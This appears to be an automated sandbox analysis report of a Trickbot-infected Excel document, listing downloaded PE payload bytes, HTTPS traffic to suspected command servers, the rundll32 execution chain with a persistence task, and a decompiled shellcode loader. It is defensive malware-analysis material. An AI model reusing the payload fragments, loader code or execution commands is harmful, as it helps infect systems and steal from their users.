00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 15 00 00 00 a0 44 00 00 0a 00 00 00 80 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 58 70 01 00 00 c0 44 00 00 72 01 00 00 8a 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 b0 11 00 00 00 40 46 00 00 12 00 00 00 fc 45 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 1a e6 68 07 ba 91 2f 00 00 33 c9 e8 ff 3c 08 00 6a 00 ff d0 33 c0 c3 cc cc cc cc cc cc cc cc Data Ascii: 2000MZ@!L!This program cannot be run in DOS mode.$yKKK#+K#+~K#+K;+K;+K#+KKK;+KN:+KN:+KN:KN:+KRichK*PELs/`!rB}AB`F@ D`D<DXp@F`DpD@BX.textqBrB `.rdataBvB@@.data8DD@.rsrcXpDrD@@.reloc@FE@Bhh/3<j3
Feb 20, 2021 09:48:08.181072950 CET	3	IN	Data Raw: b8 01 00 00 00 c2 0c 00 cc cc cc cc cc cc cc cc 55 8b ec 83 ec 10 56 8d 45 fc c7 45 fc 00 00 00 00 50 8d 45 f0 50 e8 75 71 10 00 8b 4d f0 8b 30 85 c9 74 3e 8b 55 f8 8b c1 2b d1 81 fa 00 10 00 00 72 10 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 77 Data Ascii: UVEEPEPuqM0t>U+rI#+w[RQiAEEEB:u"tH:Nuu3^]^]-AUVEEPEP(M0t>U+r
Feb 20, 2021 09:48:08.181091070 CET	4	IN	Data Raw: 83 c4 08 c7 45 f0 00 00 00 00 c7 45 f4 00 00 00 00 c7 45 f8 00 00 00 00 b8 1c e8 42 10 8a 08 3a 0e 75 22 84 c9 74 12 8a 48 01 3a 4e 01 75 16 83 c0 02 83 c6 02 84 c9 75 e4 33 c0 85 c0 5e 0f 95 c0 8b e5 5d c3 1b c0 83 c8 01 85 c0 5e 0f 95 c0 8b e5 Data Ascii: EEEB:u"tH:Nuu3^]^]MAUVEEPEP:M0t>U+rI#+w[RQdAEEE4B:u"tH:Nuu3^
Feb 20, 2021 09:48:08.181107044 CET	6	IN	Data Raw: 45 ec 83 c0 01 89 45 ec c7 45 ec 00 00 00 00 c6 45 f3 f7 8d 4d f3 51 8b 4d 08 e8 3d 28 08 00 8b 55 ec 83 c2 01 89 55 ec 8b 45 ec 83 c0 01 89 45 ec c7 45 ec 00 00 00 00 c6 45 f3 0f 8d 4d f3 51 8b 4d 08 e8 14 28 08 00 8b 55 ec 83 c2 01 89 55 ec 8b Data Ascii: EEEEMQM=(UUEEEEMQM(UUEEEEMQM'UUEEEEMQM'UUEEEEMQM'UUEEEEMQMp'U
Feb 20, 2021 09:48:08.181123972 CET	7	IN	Data Raw: e8 1d 23 08 00 8b 55 ec 83 c2 01 89 55 ec 8b 45 ec 83 c0 01 89 45 ec c7 45 ec 00 00 00 00 c6 45 f3 fb 8d 4d f3 51 8b 4d 08 e8 f4 22 08 00 8b 55 ec 83 c2 01 89 55 ec 8b 45 ec 83 c0 01 89 45 ec c7 45 ec 00 00 00 00 c6 45 f3 a2 8d 4d f3 51 8b 4d 08 Data Ascii: #UUEEEEMQM"UUEEEEMQM"UUEEEEMQM"UUEEEEMQMy"UUEEEEmMQMP"UUEEEE`MQ
Feb 20, 2021 09:48:08.181143045 CET	9	IN	Data Raw: 00 00 00 00 c6 45 f3 73 8d 4d f3 51 8b 4d 08 e8 d4 1d 08 00 8b 55 ec 83 c2 01 89 55 ec 8b 45 ec 83 c0 01 89 45 ec c7 45 ec 00 00 00 00 c6 45 f3 b7 8d 4d f3 51 8b 4d 08 e8 ab 1d 08 00 8b 55 ec 83 c2 01 89 55 ec 8b 45 ec 83 c0 01 89 45 ec c7 45 ec Data Ascii: EsMQMUUEEEEMQMUUEEEEdMQMUUEEEEMQMYUUEEEEMQM0UUEEEEMQMUUEE
Feb 20, 2021 09:48:08.181160927 CET	10	IN	Data Raw: 89 55 ec 8b 45 ec 83 c0 01 89 45 ec c7 45 ec 00 00 00 00 c6 45 f3 6b 8d 4d f3 51 8b 4d 08 e8 8b 18 08 00 8b 55 ec 83 c2 01 89 55 ec 8b 45 ec 83 c0 01 89 45 ec c7 45 ec 00 00 00 00 c6 45 f3 36 8d 4d f3 51 8b 4d 08 e8 62 18 08 00 8b 55 ec 83 c2 01 Data Ascii: UEEEEkMQMUUEEEE6MQMbUUEEEEMQM9UUEEEEpMQMUUEEEE'MQMUUEEEEMQMU
Feb 20, 2021 09:48:08.181179047 CET	11	IN	Data Raw: 00 c6 45 f3 6e 8d 4d f3 51 8b 4d 08 e8 6b 13 08 00 8b 55 ec 83 c2 01 89 55 ec 8b 45 ec 83 c0 01 89 45 ec c7 45 ec 00 00 00 00 c6 45 f3 8e 8d 4d f3 51 8b 4d 08 e8 42 13 08 00 8b 55 ec 83 c2 01 89 55 ec 8b 45 ec 83 c0 01 89 45 ec c7 45 ec 00 00 00 Data Ascii: EnMQMkUUEEEEMQMBUUEEEEMQMUUEEEE-MQMUUEEEEMQMUUEEEEMQMUUEEE
Feb 20, 2021 09:48:08.181195974 CET	13	IN	Data Raw: 8b 45 ec 83 c0 01 89 45 ec c7 45 ec 00 00 00 00 c6 45 f3 87 8d 4d f3 51 8b 4d 08 e8 22 0e 08 00 8b 55 ec 83 c2 01 89 55 ec 8b 45 ec 83 c0 01 89 45 ec c7 45 ec 00 00 00 00 c6 45 f3 8d 8d 4d f3 51 8b 4d 08 e8 f9 0d 08 00 8b 55 ec 83 c2 01 89 55 ec Data Ascii: EEEEMQM"UUEEEEMQMUUEEEEMQMUUEEEE!MQMUUEEEEWMQM~UUEEEE)MQMUU
Feb 20, 2021 09:48:08.181216002 CET	14	IN	Data Raw: 08 e8 02 09 08 00 8b 55 ec 83 c2 01 89 55 ec 8b 45 ec 83 c0 01 89 45 ec c7 45 ec 00 00 00 00 c6 45 f3 43 8d 4d f3 51 8b 4d 08 e8 d9 08 08 00 8b 55 ec 83 c2 01 89 55 ec 8b 45 ec 83 c0 01 89 45 ec c7 45 ec 00 00 00 00 c6 45 f3 d1 8d 4d f3 51 8b 4d Data Ascii: UUEEEECMQMUUEEEEMQMUUEEEEMQMUUEEEEMQM^UUEEEE)MQM5UUEEEEkM
Feb 20, 2021 09:48:08.239954948 CET	16	IN	Data Raw: ec 00 00 00 00 c6 45 f3 ef 8d 4d f3 51 8b 4d 08 e8 b9 03 08 00 8b 55 ec 83 c2 01 89 55 ec 8b 45 ec 83 c0 01 89 45 ec c7 45 ec 00 00 00 00 c6 45 f3 c3 8d 4d f3 51 8b 4d 08 e8 90 03 08 00 8b 55 ec 83 c2 01 89 55 ec 8b 45 ec 83 c0 01 89 45 ec c7 45 Data Ascii: EMQMUUEEEEMQMUUEEEEMQMgUUEEEEMQM>UUEEEEMQMUUEEEEMQMUUEE

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Feb 20, 2021 09:48:19.343115091 CET	45.155.173.242	443	192.168.2.22	49166	CN=Koqnu, O=Qjvoobim, L=DavhlVuwmxy, C=ZZ	CN=Koqnu, O=Qjvoobim, L=DavhlVuwmxy, C=ZZ	Thu Oct 01 03:17:34 CEST 2020	Sun Sep 29 03:17:34 CEST 2030	769,49172-49171-57-51-53-47-49162-49161-56-50-10-19-5-4,10-11-23-65281,23-24,0	8c4a22651d328568ec66382a84fc505f
Feb 20, 2021 09:49:06.177721024 CET	193.8.194.96	443	192.168.2.22	49170	CN=example.com, OU=IT Department, O=Global Security, L=London, ST=London, C=GB	CN=example.com, OU=IT Department, O=Global Security, L=London, ST=London, C=GB	Sun Feb 07 20:26:06 CET 2021	Mon Feb 07 20:26:06 CET 2022	769,49172-49171-57-51-53-47-49162-49161-56-50-10-19-5-4,10-11-23-65281,23-24,0	8c4a22651d328568ec66382a84fc505f
Feb 20, 2021 09:49:07.733053923 CET	176.58.123.25	443	192.168.2.22	49171	CN=ident.me CN=R3, O=Let's Encrypt, C=US	CN=R3, O=Let's Encrypt, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.	Fri Jan 22 12:53:12 CET 2021 Wed Oct 07 21:21:40 CEST 2020	Thu Apr 22 13:53:12 CEST 2021 Wed Sep 29 21:21:40 CEST 2021	769,49172-49171-57-51-53-47-49162-49161-56-50-10-19-5-4,0-10-11-23-65281,23-24,0	05af1f5ca1b87cc9cc9b25185115607d
Feb 20, 2021 09:49:07.733053923 CET	176.58.123.25	443	192.168.2.22	49171	CN=R3, O=Let's Encrypt, C=US	CN=DST Root CA X3, O=Digital Signature Trust Co.	Wed Oct 07 21:21:40 CEST 2020	Wed Sep 29 21:21:40 CEST 2021		05af1f5ca1b87cc9cc9b25185115607d
Feb 20, 2021 09:49:16.239937067 CET	193.8.194.96	443	192.168.2.22	49173	CN=example.com, OU=IT Department, O=Global Security, L=London, ST=London, C=GB	CN=example.com, OU=IT Department, O=Global Security, L=London, ST=London, C=GB	Sun Feb 07 20:26:06 CET 2021	Mon Feb 07 20:26:06 CET 2022	769,49172-49171-57-51-53-47-49162-49161-56-50-10-19-5-4,10-11-23-65281,23-24,0	8c4a22651d328568ec66382a84fc505f

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 920 Parent PID: 584

General

Start time:	09:47:37
Start date:	20/02/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13f400000
File size:	27641504 bytes
MD5 hash:	5FB0A0F93382ECD19F5F499A5CAA59F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 1696 Parent PID: 920

General

Start time:	09:47:43
Start date:	20/02/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32 ..\BASE.BABAA,DllRegisterServer
Imagebase:	0xffc50000
File size:	45568 bytes
MD5 hash:	DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 2540 Parent PID: 1696

General

Start time:	09:47:44
Start date:	20/02/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32 ..\BASE.BABAA,DllRegisterServer
Imagebase:	0x820000
File size:	44544 bytes
MD5 hash:	51138BEEA3E2C21EC44D0932C71762A8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_TrickBot_4, Description: Yara detected Trickbot, Source: 00000004.00000002.2098758914.0000000000230000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_TrickBot_4, Description: Yara detected Trickbot, Source: 00000004.00000003.2094809366.0000000000324000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_TrickBot_4, Description: Yara detected Trickbot, Source: 00000004.00000003.2094797786.0000000000324000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_TrickBot_4, Description: Yara detected Trickbot, Source: 00000004.00000002.2099036393.0000000000878000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_TrickBot_4, Description: Yara detected Trickbot, Source: 00000004.00000002.2098808409.00000000002F0000.00000004.00000020.sdmp, Author: Joe Security
Reputation:	moderate

Chronological Activities

Analysis Process: wermgr.exe PID: 1976 Parent PID: 2540

General

Start time:	09:47:45
Start date:	20/02/2021
Path:	C:\Windows\System32\wermgr.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wermgr.exe
Imagebase:	0xff2b0000
File size:	50688 bytes
MD5 hash:	41DF7355A5A907E2C1D7804EC028965D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: wermgr.exe PID: 2832 Parent PID: 2540

General

Start time:	09:47:45
Start date:	20/02/2021
Path:	C:\Windows\System32\wermgr.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wermgr.exe
Imagebase:	0xff2b0000
File size:	50688 bytes
MD5 hash:	41DF7355A5A907E2C1D7804EC028965D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: taskeng.exe PID: 1192 Parent PID: 860

General

Start time:	09:48:50
Start date:	20/02/2021
Path:	C:\Windows\System32\taskeng.exe
Wow64 process (32bit):	false
Commandline:	taskeng.exe {C999D15C-7BEE-4793-989A-0EF4E6A22007} S-1-5-18:NT AUTHORITY\System:Service:
Imagebase:	0xffe70000
File size:	464384 bytes
MD5 hash:	65EA57712340C09B1B0C427B4848AE05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: rundll32.exe PID: 1520 Parent PID: 1192

General

Start time:	09:48:50
Start date:	20/02/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\rundll32.EXE 'C:\Users\user\AppData\Roaming\QNetMonitor3154395120\ujBASEmc.rrd',DllRegisterServer
Imagebase:	0xffd70000
File size:	45568 bytes
MD5 hash:	DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: rundll32.exe PID: 2540 Parent PID: 1696 rundll32.exeCOMMON

Executed Functions

Function 00231030, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 90
windowtimesleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00231030() {
				_Unknown_base(*)()* _v8;
				signed int _v12;
				struct tagMSG _v40;
				long _v44;
				signed int _v48;
				long _v52;
				void* _v56;
				signed int _v60;
				void* _t37;
				void* _t41;

				_v60 = _v60 & 0x00000000;
				SetTimer(0, 0, 0x3e8, 0); // executed
				while(GetMessageA( &_v40, 0, 0, 0) != 0) {
					if(_v40.message != 0x113) {
						DispatchMessageA( &_v40);
						continue;
					} else {
					}
					break;
				}
				_v12 = _v12 & 0x00000000;
				_v48 = _v48 & 0x00000000;
				_v52 = 0x5000;
				while(_v52 > 0x1000) {
					_v52 = _v52 - 1;
				}
				_v44 = _v52;
				while(_v44 > 0x40) {
					_v44 = _v44 - 1;
				}
				do {
					_t37 = VirtualAlloc(_v12, 0x41000, _v52, _v44); // executed
					_v8 = _t37;
					if(_v8 == 0) {
						Sleep(0x1f4);
					}
				} while (_v8 == 0);
				_v48 = _v48 + 1;
				E00231000(1, _v8);
				_t41 = CreateThread(0, 0, _v8, 0, 0, 0); // executed
				_v56 = _t41;
				SetTimer(0, 0, 0xbb8, 0); // executed
				while(GetMessageA( &_v40, 0, 0, 0) != 0) {
					if(_v40.message != 0x113) {
						DispatchMessageA( &_v40);
						continue;
					} else {
					}
					break;
				}
				return 0;
			}

0x00231036
0x00231045
0x0023104b
0x00231066
0x0023106e
0x00000000
0x00000000
0x00231068
0x00000000
0x00231066
0x00231076
0x0023107a
0x0023107e
0x00231085
0x00231092
0x00231092
0x0023109a
0x0023109d
0x002310a7
0x002310a7
0x002310ac
0x002310ba
0x002310c0
0x002310c7
0x002310ce
0x002310ce
0x002310d4
0x002310de
0x002310e6
0x002310f8
0x002310fe
0x0023110c
0x00231112
0x0023112d
0x00231135
0x00000000
0x00000000
0x0023112f
0x00000000
0x0023112d
0x00231140

APIs

SetTimer.USER32(00000000,00000000,000003E8,00000000), ref: 00231045
GetMessageA.USER32 ref: 00231055
DispatchMessageA.USER32 ref: 0023106E
VirtualAlloc.KERNELBASE(00000000,00041000,00001000,00000040), ref: 002310BA
Sleep.KERNEL32(000001F4), ref: 002310CE
CreateThread.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000), ref: 002310F8
SetTimer.USER32(00000000,00000000,00000BB8,00000000), ref: 0023110C
GetMessageA.USER32 ref: 0023111C
DispatchMessageA.USER32 ref: 00231135

Strings

@, xrefs: 0023109D

Memory Dump Source

Source File: 00000004.00000002.2098758914.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: true

Yara matches

Similarity

API ID: Message$DispatchTimer$AllocCreateSleepThreadVirtual
String ID: @
API String ID: 368155642-2766056989
Opcode ID: 19d4d119bce45cdbde71998a1fc0f473f54c539a89d7f3f94242f1123786ff72
Instruction ID: 5ec46e5c2b7e38af8c8d36dbe79467ec78fa416f4059a176dfaf8b39df653902
Opcode Fuzzy Hash: 19d4d119bce45cdbde71998a1fc0f473f54c539a89d7f3f94242f1123786ff72
Instruction Fuzzy Hash: 8731E8B0E64258EBEF14AFA0ED49FDCBAB4AB08702F204015F741B60D0C7F199A0DB25

Uniqueness

Uniqueness Score: -1.00%

Function 007A5825, Relevance: 14.0, APIs: 9, Instructions: 522sleepCOMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32(?,?,00000040), ref: 007A5D04
GetLastError.KERNEL32(?,?,00000040), ref: 007A5D10
GetCommandLineW.KERNEL32(?,?,00000040), ref: 007A5D97
GetLastError.KERNEL32(?,?,00000040), ref: 007A5DA3
Sleep.KERNELBASE(00002710,00000004), ref: 007A5EB3
ExitProcess.KERNEL32 ref: 007A5EBB

Memory Dump Source

Source File: 00000004.00000002.2098959225.0000000000790000.00000040.00000001.sdmp, Offset: 00790000, based on PE: false

Similarity

API ID: CommandErrorLastLine$ExitProcessSleep
String ID:
API String ID: 17785287-0
Opcode ID: a4e3779564e96b36e12e31f83df8e6b4f5c1fdd775c25f9afd80acf9172755bd
Instruction ID: 2a801920e86348b9ef40bcb4d56e5a74366f8977740d6c0148a6a086204620c6
Opcode Fuzzy Hash: a4e3779564e96b36e12e31f83df8e6b4f5c1fdd775c25f9afd80acf9172755bd
Instruction Fuzzy Hash: 12228174600F00CFDB28DF54C895B2A77E1EB8A714F608A2EE586CB761D779E840DB42

Uniqueness

Uniqueness Score: -1.00%

Function 6E410842, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMON

Download Yara Rule

Strings

ext-ms-, xrefs: 6E4108AD
api-ms-, xrefs: 6E410899

Memory Dump Source

Source File: 00000004.00000002.2099698242.000000006DFF1000.00000020.00020000.sdmp, Offset: 6DFF0000, based on PE: true

Associated: 00000004.00000002.2099681446.000000006DFF0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2100627167.000000006E419000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2100655080.000000006E43A000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2100672488.000000006E43C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2100695107.000000006E454000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 44546923994fe1f5fd889930d92da10d7791a7ff6aefd6f85f2368ea9cccbbc1
Instruction ID: 3f59dae6298ad06f487a46de0b2657496b96ac0d98ed13f64d3a5337c9f323e9
Opcode Fuzzy Hash: 44546923994fe1f5fd889930d92da10d7791a7ff6aefd6f85f2368ea9cccbbc1
Instruction Fuzzy Hash: 88210831E4D629ABDF129AB99C40FEA3B689F02760F110126E915A7381F7B0D810C6E0

Uniqueness

Uniqueness Score: -1.00%

Function 6E410909, Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2099698242.000000006DFF1000.00000020.00020000.sdmp, Offset: 6DFF0000, based on PE: true

Associated: 00000004.00000002.2099681446.000000006DFF0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2100627167.000000006E419000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2100655080.000000006E43A000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2100672488.000000006E43C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2100695107.000000006E454000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c91c65cb5901804eaa763065dbdaf817c7a93c91973c92f1cf735780e8341ead
Instruction ID: 9449bc58e5e89c1bb78a50cc32019b0c13e429bfdd937fcaf7ec5c115f0d8dca
Opcode Fuzzy Hash: c91c65cb5901804eaa763065dbdaf817c7a93c91973c92f1cf735780e8341ead
Instruction Fuzzy Hash: A401F9376685159FAF21DDBEED50DEA33A6AF823247104126F904CB244EB31C4118A90

Uniqueness

Uniqueness Score: -1.00%

Function 6E40F2FC, Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,6E40DC8E,00000001,00000364,FFFFFFFF,000000FF,?,00000000,?,6E40B197,00000000,?,6E40B20F), ref: 6E40F33D

Memory Dump Source

Source File: 00000004.00000002.2099698242.000000006DFF1000.00000020.00020000.sdmp, Offset: 6DFF0000, based on PE: true

Associated: 00000004.00000002.2099681446.000000006DFF0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2100627167.000000006E419000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2100655080.000000006E43A000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2100672488.000000006E43C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2100695107.000000006E454000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a737976934996283c9ed779f28fe0dd57e34c8d814b05456bcb87e6050a38eff
Instruction ID: 3da2efae6f0c470bde4e35dce591df91a2a45a7c9f3a56e39b858bd3795012c9
Opcode Fuzzy Hash: a737976934996283c9ed779f28fe0dd57e34c8d814b05456bcb87e6050a38eff
Instruction Fuzzy Hash: 42F0E932547636AFEF915BF69804F9B3758AF81770B204037E814DA380CB30F80286E9

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6E40B044, Relevance: 4.6, APIs: 3, Instructions: 77COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6E40B13C
SetUnhandledExceptionFilter.KERNEL32 ref: 6E40B146
UnhandledExceptionFilter.KERNEL32(?), ref: 6E40B153

Memory Dump Source

Source File: 00000004.00000002.2099698242.000000006DFF1000.00000020.00020000.sdmp, Offset: 6DFF0000, based on PE: true

Associated: 00000004.00000002.2099681446.000000006DFF0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2100627167.000000006E419000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2100655080.000000006E43A000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2100672488.000000006E43C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2100695107.000000006E454000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: d2e48addebe7b8a6cd4b239fd32a0bcc0a3c17962369d4b8dd78c6df601a3695
Instruction ID: c0ee8f3763fd6e748a408ab515be8173d0781e898a8dfa472d1ffcf377a61116
Opcode Fuzzy Hash: d2e48addebe7b8a6cd4b239fd32a0bcc0a3c17962369d4b8dd78c6df601a3695
Instruction Fuzzy Hash: 6C31C37491122C9BCF61DF64D988BCDBBB8BF48314F5045EAE91CA7250EB709B858F48

Uniqueness

Uniqueness Score: -1.00%

Function 6E411447, Relevance: 19.6, APIs: 13, Instructions: 113COMMON

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 6E41148B

Part of subcall function 6E4133C3: _free.LIBCMT ref: 6E4133E0
Part of subcall function 6E4133C3: _free.LIBCMT ref: 6E4133F2
Part of subcall function 6E4133C3: _free.LIBCMT ref: 6E413404
Part of subcall function 6E4133C3: _free.LIBCMT ref: 6E413416
Part of subcall function 6E4133C3: _free.LIBCMT ref: 6E413428
Part of subcall function 6E4133C3: _free.LIBCMT ref: 6E41343A
Part of subcall function 6E4133C3: _free.LIBCMT ref: 6E41344C
Part of subcall function 6E4133C3: _free.LIBCMT ref: 6E41345E
Part of subcall function 6E4133C3: _free.LIBCMT ref: 6E413470
Part of subcall function 6E4133C3: _free.LIBCMT ref: 6E413482
Part of subcall function 6E4133C3: _free.LIBCMT ref: 6E413494
Part of subcall function 6E4133C3: _free.LIBCMT ref: 6E4134A6
Part of subcall function 6E4133C3: _free.LIBCMT ref: 6E4134B8

_free.LIBCMT ref: 6E411480

Part of subcall function 6E40DDCA: HeapFree.KERNEL32(00000000,00000000), ref: 6E40DDE0
Part of subcall function 6E40DDCA: GetLastError.KERNEL32(?,?,6E413554,?,00000000,?,?,?,6E41357B,?,00000007,?,?,6E4115DE,?,?), ref: 6E40DDF2

_free.LIBCMT ref: 6E4114A2
_free.LIBCMT ref: 6E4114B7
_free.LIBCMT ref: 6E4114C2
_free.LIBCMT ref: 6E4114E4
_free.LIBCMT ref: 6E4114F7
_free.LIBCMT ref: 6E411505
_free.LIBCMT ref: 6E411510
_free.LIBCMT ref: 6E411548
_free.LIBCMT ref: 6E41154F
_free.LIBCMT ref: 6E41156C
_free.LIBCMT ref: 6E411584

Memory Dump Source

Source File: 00000004.00000002.2099698242.000000006DFF1000.00000020.00020000.sdmp, Offset: 6DFF0000, based on PE: true

Associated: 00000004.00000002.2099681446.000000006DFF0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2100627167.000000006E419000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2100655080.000000006E43A000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2100672488.000000006E43C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2100695107.000000006E454000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: d29538e0d71924a41c3dc06e3e01662e88964e016775f856e91b90675ed4a953
Instruction ID: c1b36e87bc057312354914a30ca584a795550acc8887865301d10f5e958489d8
Opcode Fuzzy Hash: d29538e0d71924a41c3dc06e3e01662e88964e016775f856e91b90675ed4a953
Instruction Fuzzy Hash: 6F314C31618606AFEF518BB9D840FE673E8AF10754F10692FE05AD7354DF34E9488B64

Uniqueness

Uniqueness Score: -1.00%

Function 6E413562, Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 6E41352A: _free.LIBCMT ref: 6E41354F

_free.LIBCMT ref: 6E4135B0

Part of subcall function 6E40DDCA: HeapFree.KERNEL32(00000000,00000000), ref: 6E40DDE0
Part of subcall function 6E40DDCA: GetLastError.KERNEL32(?,?,6E413554,?,00000000,?,?,?,6E41357B,?,00000007,?,?,6E4115DE,?,?), ref: 6E40DDF2

_free.LIBCMT ref: 6E4135BB
_free.LIBCMT ref: 6E4135C6
_free.LIBCMT ref: 6E41361A
_free.LIBCMT ref: 6E413625
_free.LIBCMT ref: 6E413630
_free.LIBCMT ref: 6E41363B

Memory Dump Source

Source File: 00000004.00000002.2099698242.000000006DFF1000.00000020.00020000.sdmp, Offset: 6DFF0000, based on PE: true

Associated: 00000004.00000002.2099681446.000000006DFF0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2100627167.000000006E419000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2100655080.000000006E43A000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2100672488.000000006E43C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2100695107.000000006E454000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 4abf6ccd113c9858d282887c07212a2b005c15822463cbf5e1b8101d4236a65d
Instruction ID: 5b7a21170304a9a2606ef86752e43cdf217342f36de7db7c43d46fb43b7bbb1a
Opcode Fuzzy Hash: 4abf6ccd113c9858d282887c07212a2b005c15822463cbf5e1b8101d4236a65d
Instruction Fuzzy Hash: 82112172554B08FAE920E7F0CC09FDB779CAF04B04F415C3EB69A66150EB65B5044A90

Uniqueness

Uniqueness Score: -1.00%

Function 6E4134C1, Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6E4134D9

